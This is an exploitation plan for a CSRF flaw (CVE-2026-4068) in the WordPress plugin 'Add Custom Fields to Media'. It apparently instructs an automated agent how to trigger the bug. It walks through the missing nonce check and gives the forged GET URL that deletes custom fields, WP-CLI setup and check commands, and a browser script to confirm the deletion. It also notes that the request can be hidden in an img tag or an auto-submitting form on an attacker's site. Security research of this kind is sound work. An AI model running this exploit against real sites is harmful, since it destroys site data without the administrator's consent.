Exploitation Research Plan: CVE-2026-4068 - Add Custom Fields to Media CSRF

1. Vulnerability Summary

The Add Custom Fields to Media plugin (<= 2.0.3) contains a Cross-Site Request Forgery (CSRF) vulnerability in its administrative settings page. Specifically, the functionality to delete custom media fields does not perform any nonce validation or capability checks before modifying the site's configuration via update_option(). An attacker can trick a logged-in administrator into clicking a link that deletes defined custom fields, potentially disrupting site functionality or removing critical metadata.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/options-general.php?page=add-custom-fields-to-media
• Hook: Registered via admin_menu in the Add_Custom_Fields_To_Media_Admin class (referenced in includes/class-add-custom-fields-to-media.php).
• HTTP Method: GET
• Vulnerable Parameter: delete
• Authentication Requirement: Must be an authenticated user with manage_options capability (typically an Administrator).
• Preconditions: At least one custom field must already exist in the thisismyurl_custom_media_fields option.

3. Code Flow

1. The administrator visits the plugin's settings page: wp-admin/options-general.php?page=add-custom-fields-to-media.
2. The file admin/partials/add-custom-fields-to-media-admin-display.php is loaded to render the UI.
3. On Line 22, a nonce is verified for the addition of fields, but it is stored in the $nonce variable:

   $nonce = isset( $_REQUEST['_wpnonce'] ) ? wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ), 'media_custom_fields_nonce' ) : false;
   

4. On Line 38, the "Delete field" logic begins. It checks if $_GET['delete'] is present and if $media_custom_fields is an array:

   if ( ( isset( $_GET['delete'] ) && ! empty( $_GET['delete'] ) ) && is_array( $media_custom_fields ) ) {
   

5. Critically, this block (Lines 38-49) does not check the $nonce variable or call check_admin_referer().
6. The code iterates through existing fields, filters out the one matching $_GET['delete'], and updates the WordPress option:

   update_option( 'thisismyurl_custom_media_fields', $new_custom_fields );
   

4. Nonce Acquisition Strategy

No nonce is required for this specific exploit.
The vulnerability exists precisely because the delete operation fails to verify the nonce (media_custom_fields_nonce) that is otherwise used for the "Add Field" operation on the same page. The execution agent can proceed directly to the forgery.

5. Exploitation Strategy

Step 1: Discover Target unique_id

The attacker needs to know the unique_id of the field they wish to delete. Since this is a CSRF attack, they can guess common IDs (like copyright or author) or target a specific ID if known.

Step 2: Forged Request

The exploit is a simple GET request. In a real-world scenario, this would be an <img> tag or an auto-submitting form on an attacker-controlled site. For the PoC agent, a direct authenticated http_request to the target URL is sufficient.

• Request Type: GET
• URL: http://[TARGET]/wp-admin/options-general.php?page=add-custom-fields-to-media&delete=[FIELD_ID]
• Headers: Authentication cookies for an Administrator must be included.

6. Test Data Setup

Before exploitation, we must ensure a custom field exists to be deleted.

1. Create a field via WP-CLI:

   wp option update thisismyurl_custom_media_fields '[{"unique_id":"poc_field_to_delete","name":"PoC Field","help":"This will be deleted"}]' --format=json
   

2. Verify the field exists:

   wp option get thisismyurl_custom_media_fields
   

7. Expected Results

• The HTTP request to the delete endpoint should return a 200 OK status (as it loads the admin page).
• The internal state of the WordPress database will change: the entry with unique_id "poc_field_to_delete" will be removed from the thisismyurl_custom_media_fields array.

8. Verification Steps

After performing the exploit with the http_request tool, run the following command to confirm the deletion:

# Check the option value. It should be an empty array or missing the poc_field_to_delete entry.
wp option get thisismyurl_custom_media_fields --format=json

If the exploit is successful, the output will NOT contain "poc_field_to_delete".

9. Alternative Approaches

If the plugin logic requires the page to be re-rendered to confirm the deletion, we can navigate to the page using browser_navigate as an admin and then check the HTML for the absence of the field table:

// Using browser_eval to check if the field table contains our ID
const tableContent = document.body.innerHTML;
const isDeleted = !tableContent.includes('poc_field_to_delete');
console.log(isDeleted);

However, since update_option() is called during the initial execution of the script when the delete parameter is present, a single GET request is technically sufficient to trigger the vulnerability.